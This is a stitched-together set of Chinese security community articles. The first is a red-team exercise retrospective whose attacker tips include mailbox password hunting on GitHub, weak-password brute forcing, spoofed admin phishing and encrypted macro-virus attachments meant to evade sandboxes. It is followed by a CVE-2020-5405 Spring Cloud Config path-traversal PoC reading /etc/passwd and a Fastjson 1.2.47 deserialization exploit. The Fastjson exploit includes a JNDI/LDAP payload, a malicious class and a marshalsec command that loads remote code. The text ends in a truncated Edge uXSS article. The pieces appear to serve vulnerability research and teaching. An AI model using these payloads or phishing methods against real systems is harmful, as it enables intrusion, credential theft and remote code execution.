针对水坑或者鱼叉攻击来讲，可以想象到肯定大量的攻击队伍采用这种方法进行攻击，攻击手法多基于邮件进行。现在假想成攻击队伍，我会首先在github上搜索一波，举个例子：[https://github.com/search?q=%224dogs.cn%22+password&type=Code,注意域名要加上双引号进行精准匹配。在翻到一个可登陆的邮箱后，去通信录导出所有联系人方式，进而进行简单的口令爆破；在这些操作还没拿到有用密码的情况下，就可以根据组织结构进行定点攻击了。高级点的用浏览器0day，没0day的也可以直接发宏病毒，注意编个理由加个密发，防止被沙箱抓样本。](https://github.com/search?q=%224dogs.cn%22+password&type=Code,%E6%B3%A8%E6%84%8F%E5%9F%9F%E5%90%8D%E8%A6%81%E5%8A%A0%E4%B8%8A%E5%8F%8C%E5%BC%95%E5%8F%B7%E8%BF%9B%E8%A1%8C%E7%B2%BE%E5%87%86%E5%8C%B9%E9%85%8D%E3%80%82%E5%9C%A8%E7%BF%BB%E5%88%B0%E4%B8%80%E4%B8%AA%E5%8F%AF%E7%99%BB%E9%99%86%E7%9A%84%E9%82%AE%E7%AE%B1%E5%90%8E%EF%BC%8C%E5%8E%BB%E9%80%9A%E4%BF%A1%E5%BD%95%E5%AF%BC%E5%87%BA%E6%89%80%E6%9C%89%E8%81%94%E7%B3%BB%E4%BA%BA%E6%96%B9%E5%BC%8F%EF%BC%8C%E8%BF%9B%E8%80%8C%E8%BF%9B%E8%A1%8C%E7%AE%80%E5%8D%95%E7%9A%84%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4%EF%BC%9B%E5%9C%A8%E8%BF%99%E4%BA%9B%E6%93%8D%E4%BD%9C%E8%BF%98%E6%B2%A1%E6%8B%BF%E5%88%B0%E6%9C%89%E7%94%A8%E5%AF%86%E7%A0%81%E7%9A%84%E6%83%85%E5%86%B5%E4%B8%8B%EF%BC%8C%E5%B0%B1%E5%8F%AF%E4%BB%A5%E6%A0%B9%E6%8D%AE%E7%BB%84%E7%BB%87%E7%BB%93%E6%9E%84%E8%BF%9B%E8%A1%8C%E5%AE%9A%E7%82%B9%E6%94%BB%E5%87%BB%E4%BA%86%E3%80%82%E9%AB%98%E7%BA%A7%E7%82%B9%E7%9A%84%E7%94%A8%E6%B5%8F%E8%A7%88%E5%99%A80day%EF%BC%8C%E6%B2%A10day%E7%9A%84%E4%B9%9F%E5%8F%AF%E4%BB%A5%E7%9B%B4%E6%8E%A5%E5%8F%91%E5%AE%8F%E7%97%85%E6%AF%92%EF%BC%8C%E6%B3%A8%E6%84%8F%E7%BC%96%E4%B8%AA%E7%90%86%E7%94%B1%E5%8A%A0%E4%B8%AA%E5%AF%86%E5%8F%91%EF%BC%8C%E9%98%B2%E6%AD%A2%E8%A2%AB%E6%B2%99%E7%AE%B1%E6%8A%93%E6%A0%B7%E6%9C%AC%E3%80%82)
假如没有有用的邮箱账号，也可以搜索引擎收集一波邮箱，再根据明明规则，加载中国姓名top500字典进行组合，总归能抓到一两个用弱口令的。
如果还是啥都没有，也可以使用swaks之类的直接伪造成admin发送钓鱼邮件。至于发送内容和技巧，以后再聊。
对于防御方来讲，最厉害的莫过于直接关停外网邮箱了。次之，可以派人随时查看登录日志，及时发现异地登录爆破情况。对于有钱的甲方爸爸们，可以通过流量镜像，对附件进行沙箱判定。
### d)内网渗透，还是要了解业务
在突破边界进入内网后，剩下的主要是内网渗透了。内网渗透可以简单分为横向渗透和纵向渗透。内网渗透的实质和关键是信息收集，通过不停的突破系统拿到更多的权限，而更多的权限带来更多的信息，最终在信息和权限的螺旋迭代下，拿到目标的最高权限。
对于有域的环境，一般目标时拿下域控，而在本次攻击中却恰好爆发了一个直接打域控的0day，这就容易多了。但是即使一键拿下域控权限，还是要回到信息收集的本质上，要在海量的终端里筛选出自己的目标数据在哪台机器里，还是需要一些技巧的，展开来讲，有空再聊。
而不管是什么环境，我个人感觉阻碍攻击队伍进行内网渗透的主要原因还是对目标业务的了解程度。比如电力行业的16字方针（此处略），很多时候搞到边界系统后，ipconfig一看是10段的，以为进了个大内网，而实际情况是那只是冰山一角而已。纵向突破还有很长很长的路要走。再者，假如对电信行业、金融行业不了解，进到内网肯定也是一脸懵逼，一副“我是谁？我在哪？”的感觉。这也是内网渗透耗费精力的原因。
### e)0day的优劣势
在本次演习中，陆续发现了大量的0day，印象里不完全统计有七八个，具体0day细节可以参考各大公众号之前的报到。这里只讨论下针对0day的问题。
从0day的内容和数量上来讲，护网结束后我是看啥系统都有漏洞，并且有一种想去挖几个留着的冲动，奈何工作杂事太多，先搁置一下吧。
对于攻击方来讲，手握0day是指哪打哪的一个有效支撑。从漏洞类型上，基本覆盖web、网络、操作系统等等方面。针对国内的网络安全现状，讲真，我对那些商业应用真的不报任何安全的奢望。对于国企和政府来讲，自有系统大都是外包厂商开发，而这些外包开发者，大概率不懂安全，甚至sql注入是啥都不知道，更别说防御框架漏洞了。所以对于攻击者来讲，去攻击一个客户广泛的厂商，拿到一个0day即可攻下其相关的所有目标，收益非常高。但同时也要明白，现在0day的生存期非常之短，10年前，我们一个0day可以用半年都没被人发现，而在这次演习中，0day的生存期可能只有半个小时，因为防守方发现shell就会溯源，进而预警。不过排除这次防守方7*24小时的有效监控，在真实情况下，0day的生存周期可能不超过一周。所以，我认为，当前网络环境中，0day大量存在，但使用非常谨慎。至于防守方怎么防御0day，请看后面内容。
## 3.从防守方考虑
整体来讲，防守方都是从“事前排查”、“事中监控”、“事后溯源”三个方面进行防御的。根据我的观察，普遍来讲，国企安全防御能力弱与互联网公司，而相反，国企和政府单位的投入普遍高于互联网公司。这也就导致了演习前大量的“人贩子”到处求人驻场的问题，一度炒到人天上万元。下面从几个方面分析这次防守方的经验和教训。
### a)防御过度问题
至于这次演习的意义和重要性，各位甲方自己应该更明白，这里不再描述。而正是由于防御方的重视，所以出现了大量的防御过度现象。一是在开始前的大量系统关停，二是对于互联网IP的大量封禁。首先大量的关停本质上类似掩耳盗铃一样，在护网结束后依旧面临各类外部攻击者的威胁。希望存在这类情况的厂商，还是能从根源上排查漏洞，加固系统，对系统采取必要的防护措施。
针对恶意封禁IP的情况，虽然体现了防守方及时发现攻击的能力，但同时，也实实在在的影响了正常业务的运行。特别是一封一个B段的情况，我表示可以理解，但也不忍直视。同上，各位甲方还是考虑下从根源解决问题。
### b)应急排查
对于事前的应急排查，甲方大都采用临时购买人工渗透服务的方式进行，而毫不客气的说，你们买到的有一部分却是在校大学生，或者培训机构的实习生。即使钱给够了，去的是个渗透大神，也会因为内网漏洞太多，无法完全覆盖。以我个人举个例子，假如给我一个系统，我大概需要一上午分析每个端口，每个业务接口的安全性，进而给出一个完整的测试报告，我基本上可以保证我测试过的系统短时间内不会出大问题。但是假如给我一个B段，告诉我3天完成，那我就只能模拟横向内网渗透，masscan先来一波端口，wvs扫描一波，然后一批一批的去看。这种模式就决定了无法完全覆盖全部业务系统。及时时间够，那对于新增的业务又怎么办？
那针对这种情况该怎么办？我一直给我的客户普及的一个想法是内网漏洞，不要指望短时间内购买一次服务就完全解决了。对于漏洞隐患，工作必须是平时常态化的开展。一是上资产管控手段，对内网所有的服务器，通过主动扫描、被动流量分析等手段进行搜集，实时监控内网到底开了多少端口，每个端口运行什么服务，应用是什么版本；二是解决遗留问题，对内网既有的框架漏洞、弱口令漏洞，进行专项整治。相信通过本次护网，原来没搞过安全的防守方，在部署安全设备后发现了大量的永恒之蓝、木马受控等问题，这些都是遗留问题。建议大家用几周时间集中解决一类问题，循环下去即可解决遗留的全部问题。三是建立新业务上线审查流程，对于新上线的业务系统，必须通过第三方安全测评，只有拿到安全测评报告的才允许上线。
最后，打个广告，我们公司的猎鹰威胁感知系统就是用来做资产管理和大规模漏洞探测，再加上我们的基于AI的渗透机器人，完全可以自动化监控发现各类安全问题。
### c)重边界、轻内网的防御策略
这次的防守方普遍是重边界、轻内网防御，造成了一旦边界被破，内网整体垮掉的风险。而这个情况在我入行时就普遍存在。安全发展到今天，实在是说不过去。去年看到了Google提出的0信任网络，感觉是个趋势，一度想转行做0信任网络的布道者，虽然普及还有一段路，但是我还是希望大家可以转变思维，一定一定不要认为我在内网就是安全的。万一哪天被黑，可能影响的就是国家利益，带来的就是社会动荡。
### d)威胁情报系统的意义
首先，针对这次攻击，各种原有IOC情报基本无效，比如恶意域名库、恶意IP库等，因为攻击方使用的都是新的域名和IP，这也是黑名单做安全的尴尬。但是同时要感谢安全厂商们的威胁情报库，让更多的国企、政府单位认识到了自己内网办公电脑有很多已经被控制。
### e)面对0day攻击的无力感
面对0day攻击，理论上谁都扛不住，但是实际是这样么？仔细想想并非如此，首先，面对0day真正扛不住的是以黑名单为基础的安全设备，包括waf类、态势感知类、IDS类等。而这些安全设备，又确确实实是各大厂商的首选安全监控设备，一旦这些设备没报警，那基本啥都干不了。这也是防守方们7*24小时防守但其实大部分时间无所事事的原因。
首先，对于web
0day的防御，完全可以采用openrasp类防御方法，从根源上防止各类web漏洞攻击。如果有想购买商业版rasp方案的同学，可以勾兑下我哦。
其次，对于网络0day和系统0day，我们可以采用EDR手段进行防御，在终端上装上agent，在agent上采用白名单策略，对于无关的进程启动和危险命令直接报警或阻断。想起来我们四年前做过的一个产品叫麒麟卫士，可以说是国内首款EDR雏形了，可是去卖的时候发现大家对于需要安装agent的做法都耿耿于怀，不敢装。四年过去了，相信后面会有更多的人接受EDR带来的安全改变。
### f)蜜罐
这次演习的一大亮点就是很多防御方采用了蜜罐的方式进行诱捕和攻击引流。要说蜜罐做得好，那是真的很有用。我理想中的蜜罐应当是完全仿真，而不是动态针对部分服务的仿真。同时可以具备反制的功能，一是可溯源攻击者真实身份，二是可利用AWVS或者蚁剑这类黑客工具自己的漏洞反向攻击攻击者。相信后面会有大量的优秀产品脱颖而出。不过防守方真的真实部署后，可能半年也捕获不到一次有效攻击，毕竟这次是演习，平时黑客攻击还是少。不过安全就是如此，防患于未然。
## 写在最后：
我个人来讲是一个安全技术爱好者，从攻击到防御，都有涉猎。自从创业以来，干的事情更杂了，但是我一有时间还是在刷安全圈的技术文章，写一些poc。认识我的朋友可能知道，我是一个CEO、一个销售、一个售前、一个产品经理，同时，我也是一个“黑客”，期待着用我的所学所知，能为安全圈带来一些改变。“不忘初心，牢记使命”，与君共勉。 | 社区文章 |
# 简介
Spring Cloud Config，为微服务架构中的微服务提供集中化的外部配置支持，配置服务器为各个不同微服务应用的所有环境提供了一个中心化的外部配置。
Spring Cloud Config分为服务端和客户端两部分：
* 服务端，也称为分布式配置中心，它是一个独立的微服务应用，用来连接配置服务器并为客户端提供获取配置信息，加密/解密信息等访问接口。
* 客户端，则是通过指定的配置中心来管理应用资源，以及与业务相关的配置内容，并在启动的时候从配置中心获取和加载配置信息，配置服务器默认采用`git`来存储配置信息，这样就有助于对环境配置进行版本管理，并且可以通过`git`客户端工具来方便的管理和访问配置内容。
CVE-2020-5405，Spring Cloud Config允许应用程序通过`spring-cloud-config-server`模块使用任意配置文件。 恶意用户或攻击者可以发送精心构造的包含`(_)`的请求进行目录穿越攻击。
影响版本：
* versions 2.2.x -- 2.2.2
* versions 2.1.x -- 2.1.7
* 停止更新支持的更早版本
# 复现
下载官方Spring Cloud Config，具体版本`versions 2.1.5.RELEASE`，下载地址为：
https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.5.RELEASE.zip
导入IDEA项目
修改配置文件`src/main/resources/configserver.yml`
info:
component: Config Server
spring:
application:
name: configserver
autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
jmx:
default_domain: cloud.config.server
profiles:
active: native
cloud:
config:
server:
native:
search-locations:
- file:///Users/rai4over/Desktop/spring-cloud-config-2.1.5/config-repo
server:
port: 8888
management:
context_path: /admin
设置`profiles-active`为`native`，设置`search-locations`为任意文件夹。
主文件入口位置为`org.springframework.cloud.config.server.ConfigServerApplication`，运行`spring-cloud-config-server`模块，环境开启成功运行在`127.0.0.1:8888`。
POC
http://127.0.0.1:8888/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/passwd
URL编码变形
http://127.0.0.1:8888/1/1/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29etc/passwd
结果
目录穿越成功，问题出现在Spring Cloud Config服务端，简单的看是将`/`替换成为`(_)`。
# 分析
查看官方文档：
https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_serving_plain_text
`Config-Client`可以从`Config-Server`提供的HTTP接口获取配置文件使用，`Config
Server`通过路径`/{name}/{profile}/{label}/{path}`对外提供配置文件，POC就会通过路由到这个接口
org.springframework.cloud.config.server.resource.ResourceController#retrieve(java.lang.String,
java.lang.String, java.lang.String,
org.springframework.web.context.request.ServletWebRequest, boolean)
解析下路由的结构
* `name`，应仓库名称。
* `profile`，应配置文件环境。
* `label`，`git`分支名。
* `**`，通配子目录。
打好断点，查看被解析后的关键变量：
`request`为该次请求对象，
`name`和`profile`对应解析为`1`，`label`对应解析为`..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc`，`**`对应通过`getFilePath`函数解析为`passwd`，跟进`retrieve`函数。
org.springframework.cloud.config.server.resource.ResourceController#retrieve(org.springframework.web.context.request.ServletWebRequest,
java.lang.String, java.lang.String, java.lang.String, java.lang.String,
boolean)
先跟进处理`name`的`resolveName`函数
org.springframework.cloud.config.server.resource.ResourceController#resolveName
替换`name`中存在的`(_)`，name经过处理后不发生变化，继续跟进`resolveLabel`。
org.springframework.cloud.config.server.resource.ResourceController#resolveLabel
`..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc`经过替换之后变为`../../../../../../../../../etc`，然后将几个处理过的变量传入并跟进`this.resourceRepository.findOne`函数。
org.springframework.cloud.config.server.resource.GenericResourceRepository#findOne
@Override
public synchronized Resource findOne(String application, String profile, String label,
String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label)
.getLocations();
try {
for (int i = locations.length; i-- > 0;) {
String location = locations[i];
for (String local : getProfilePaths(profile, path)) {
if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
Resource file = this.resourceLoader.getResource(location)
.createRelative(local);
if (file.exists() && file.isReadable()) {
return file;
}
}
}
}
}
catch (IOException e) {
throw new NoSuchResourceException(
"Error : " + path + ". (" + e.getMessage() + ")");
}
}
throw new NoSuchResourceException("Not found: " + path);
}
首先通过`this.service.getLocations`获取对应的`file`协议的绝对路径地址且为有两个元素的素组
接着通过`for`循环对`locations`数组元素进行遍历，与POC相关的是第一号元素，取出后传入`getProfilePaths`函数。
org.springframework.cloud.config.server.resource.GenericResourceRepository#getProfilePaths
创建了一个集合包含两个元素，首先包含原本的`passwd`，还有第二个根据`file + "-" + profile +
ext`拼接而成的元素，此时profile为1，ext为空
然后对这个集合再次遍历，取出元素后通过`sInvalidPath`和`isInvalidEncodedPath`进行安全检查，关注1号元素`passwd`即可。
org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidPath
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) {
if (logger.isWarnEnabled()) {
logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
}
return true;
}
if (path.contains(":/")) {
String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
if (logger.isWarnEnabled()) {
logger.warn(
"Path represents URL or has \"url:\" prefix: [" + path + "]");
}
return true;
}
}
if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
if (logger.isWarnEnabled()) {
logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: ["
+ path + "]");
}
return true;
}
return false;
}
org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidEncodedPath
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) {
try {
// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8
// chars
String decodedPath = URLDecoder.decode(path, "UTF-8");
if (isInvalidPath(decodedPath)) {
return true;
}
decodedPath = processPath(decodedPath);
if (isInvalidPath(decodedPath)) {
return true;
}
}
catch (IllegalArgumentException | UnsupportedEncodingException ex) {
// Should never happen...
}
}
return false;
}
其实是对以前老洞的修复方式，进行了`WEB-INF`、`..`、解码等安全校验，输入为`passwd`无压力通过两个函数校验。
`this.resourceLoader`为`AnnotationConfigServletWebServerApplicationContext`类加载器，继续通过`this.resourceLoader.getResource(location).createRelative(local);`加载资源，最终file为：
最终作为结果进行层层返回，完成任意文件读取。
# 补丁
git地址
https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0
org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidLocation
在`findOne`函数新增使用`isInvalidLocation`函数对`..`的检测。
# 参考
<https://github.com/DSO-Lab/defvul/tree/master/CVE-2020-5405_SpringCloudConfig>
<https://www.cnblogs.com/huangting/p/11946401.html>
<https://pivotal.io/security/cve-2020-5405>
<https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_serving_plain_text>
<http://www.lmxspace.com/2019/04/26/Spring-Cloud-Config-Server-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%88%86%E6%9E%90/> | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/FORG5-_fPsFUW91SS4FjZQ>**
## 前言
本文衔接上一篇文章[《FastJson历史漏洞研究（一）》](https://paper.seebug.org/1319/
"《FastJson历史漏洞研究（一）》")，继续探讨一下FastJson的历史漏洞。这次将要介绍的是Fastjson
1.2.47版本存在的漏洞成因以及其利用方式。
## Fastjson 1.2.47漏洞分析
Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是，Fastjson
1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行。
首先来看一下公开的poc。
public class demo {
public static void main(String[] args) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}";
Object obj = JSON.parseObject(payload);
System.out.println(obj);
}
}
从代码中可见，与以往利用不同的是，该poc中构造了两个json字符串。
1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}
为了弄清楚这样构造的意义，我们来动态调试一下这个漏洞。
程序首先解析第一个json字符串。
#### "a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
解析过程
我们跳过部分FastJson解析流程，直接来看checkAutoType安全模块时的操作。对这个字符串中\@type字段进行校验。
在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模块中，程序首先进入了这个分支，程序调用getClassFromMapping对typeName进行解析，typeName即为字符串中@type的值，在第一个json字符串中，这个值为"java.lang.Class"。
我们跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMapping。
从上图代码可见，程序想从mappings中寻找键名为”java.lang.Class”的元素并返回对应的键值。值得一提的是，mappings集合与后文将要讲到的buckets集合对这个漏洞至关重要，这二者是这个漏洞产生的核心因素。
* mappings集合
mappings中存储的数据都是什么呢?经过调试可以发现其中数据形式如下图中所展示。
从上图可见，mappings中存储着类名字符串以及对应类对象。然而mappings中的数据又是从何而来的呢？
经过调试发现，mappings中存储的数据是由位于com/alibaba/fastjson/util/TypeUtils.java的addBaseClassMappings方法添加的。
从Mapping集合中的数据可以猜测，Mapping是用来存储一些基础的Class，以便于在反序列化处理这些基础类时提高效率。
在弄清楚mappings列表的由来后，继续回到正题。我们构造的typeName(@type指定的"java.lang.Class")并不在Mappings的键中。因此getClassFromMapping方法返回null，程序继续向下执行进入下一个if分支。此时程序接着调用deserializers.findClass对传入的typeName进行解析。
我们跟入位于com/alibaba/fastjson/util/IdentityHashMap.java的findClass方法进行进一步分析。
从上图代码可见，程序会遍历buckets，取出其中元素的key属性值的名称并与传入的”java.lang.Class”进行比较，如果二者相同，则将这个Class对象返回。
* buckets集合
现在我们要谈谈buckets集合了。buckets又存储着什么元素呢？见下图。
上图我们展开了一个buckets集合中元素进行展示。与Mapping集合相同的问题产生了：buckets中的元素都有哪些、他们又从何而来呢？经过调试我们在见下三张图中找到了答案。
通过FastJson作者关于buckets集合的注释猜测，buckets是一个用于并发的IdentityHashMap。
回到调试流程中findClass方法来，我们构造的typeName(@type指定的"java.lang.Class")被findClass方法匹配到了，因此java.lang.Class类对象被返回。
在findClass执行完成后，java.lang.Class类对象被返回到checkAutoType中并赋值给clazz，checkAutoType方法也将于963行处将clazz返回。
回顾一下上文中的Mapping集合和buckets集合，Fastjson为什么要将用户传入的\@type字段指定的字符串在这两个集合中匹配呢?
Mapping集合则是用来存储基础的Class，如果\@type字段传入的字符串如果对应了基础Class，程序则直接找到其类对象并将其类对象返回，从而跳过了checkAutoType后续的部分校验过程。而buckets集合则是用于并发操作。
但无论Mapping集合与buckets集合实际作用是什么，但凡用户传入的\@type字段字段值在两个集合中任意一个中，且程序使用JSON.parseObject(payload);这样的形式解析字符串(确保expectClass为空，防止进入上图957行if分支)，checkAutoType都将会直接将其对应的Class返回。
checkAutoType在将clazz返回后，程序将会执行到com/alibaba/fastjson/parser/DefaultJSONParser.java中的如下代码。
从上图第一个红框可见，checkAutoType在将用户传入的@type值返回后，程序会赋值给上图316行处clazz变量，而上图384行处的deserialze方法紧接着处理这个clazz变量。
跟入位于com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中。
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
?
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
?
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}
?
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
此时传入deserialze中clazz变量为checkAutoType安全模块校验后返回的"java.lang.Class"而fieldName变量值为解析的第一个json字段名"a"。
deserialze方法中，与本次漏洞与poc构造的代码块主要有三部分，分别是：
**1.取出json字符串中val值**
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
在这段代码中，程序将判断传入的json字符串中是否有”val”,并将其值通过下图第一个红框处的代码取出赋值给objVal变量。
**2.将objVal变量值转换为String类型并赋值strVal变量**
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}
这段代码与上一段衔接，objVal变量值又传递给下图第二个红框处。strVal变量判断objVal非空且为String类实例时，将其转换为String类型并赋值与strVal
**3.调用TypeUtils.loadClass处理val值**
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
这段代码的作用时，当传入的clazz变量为Class的类对象时，调用TypeUtils.loadClass处理strVal(即json字符串中的val值)。
在分析完deserialze方法的加工流程后，我们回头看看poc中构造的val值是什么，见下图红框处。
poc中构造的是com.sun.rowset.JdbcRowSetImpl字符串，也就是过往漏洞利用中可利用的类。但是根据之前的分析，自从黑名单机制的完善，这个类早已已经不能简单的直接利用了，这个漏洞究竟是如何让这个类绕过黑名单重获新生呢？我们继续往下看看TypeUtils.loadClass中的操作，继续跟入位于com/alibaba/fastjson/util/TypeUtils.java的loadClass。
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
loadClass接收的一个参数:"className"为String类型变量，根据上文的调用关系，这里传入的是字符串"com.sun.rowset.JdbcRowSetImpl",即className参数值为"com.sun.rowset.JdbcRowSetImpl"。
通过分析loadClass方法代码，可以发现如下代码。
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
}
在该代码段中，程序通过contextClassLoader.loadClass(className);方法从字符串类型className变量("com.sun.rowset.JdbcRowSetImpl")获取到com.sun.rowset.JdbcRowSetImpl类对象，并赋值给clazz变量。此时的className、clazz变量形式如下图。
接着，程序判断cache变量情况：在当cache为true时，将className、clazz键值对加入mappings集合(cache默认为true)。
经过动态调试可以发现，通过上面的一系列操作，Mappings集合中确实已经加入了我们的恶意类com.sun.rowset.JdbcRowSetImpl，见下图。
在我们的第一个json字符串解析完成后，程序随后会解析我们第二个json字符串。
####
"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}解析过程
与第一个json字符串解析流程完全一致，程序也执行到下图部分。
由于这次Mapping中有键名为com.sun.rowset.JdbcRowSetImpl的元素，因此clazz被赋值为com.sun.rowset.JdbcRowSetImpl类对象。
从下面两张图可见，此时上文的流程完全一致，只不过这次返回的时com.sun.rowset.JdbcRowSetImpl类对象。
com.sun.rowset.JdbcRowSetImpl恶意类被顺利返回，但是整个操作流程中并未触发checkAutoType黑白名单校验机制。随后com.sun.rowset.JdbcRowSetImpl恶意类被反序列化，触发利用。
## 漏洞利用
为了证实漏洞的存在，我们首先在192.167.30.116服务器的80端口web服务上部署ExecTest.class。ExecTest.java中内容如下。
java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class ExecTest implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}
public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}
public static void main(String[] args) {
exec("123");
}
}
使用marshalsec开启ladp服务，监听在1389端口。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389
]
demo程序执行完毕，计算器成功弹出。
## 总结
Fastjson
1.2.47版本的漏洞与Fastjson历史上存在的大多数漏洞不同。本次漏洞相比自立一派，与过往那些针对补丁绕过的漏洞相比，本次漏洞更为复杂与精妙。1.2.47版本的漏洞涉及到一些Fastjson机制类的知识，通过对这个漏洞进行分析，可以更好的了解FastJson框架。
* * * | 社区文章 |
# 前言
通用XSS(uXSS)是浏览器中一个令无数黑客垂涎的bug，UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。发现UXSS的历程非常有趣，通常UXSS与IFRAME元素有关，或者与URL有关。但我从未想过我会使用`'print()'`函数发现uXSS
bug。
# 打印预览上下文
让我们讨论一下Edge显示打印预览窗口时实际发生了什么
我一直认为它只是一个[Canvas类型技术](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API "Canvas类型技术")的屏幕截图，但实际上你打印的页面被复制到一个临时位置并重新渲染！
当我们在页面中执行`'print()'`时，我们会在[Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon "Process Monitor")中看到以下文件系统活动：
因此，在Edge临时目录中创建了一个文件，该文件的内容是我们试图打印的原始页面的但经过稍微修改的版本。
打印前：
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{
window.print();
}
</script>
</body>
</html>
打印后：
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META
content="text/html; charset=utf-8" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
</SCRIPT>
</BODY></HTML><!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META
content="text/html; charset=utf-8" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
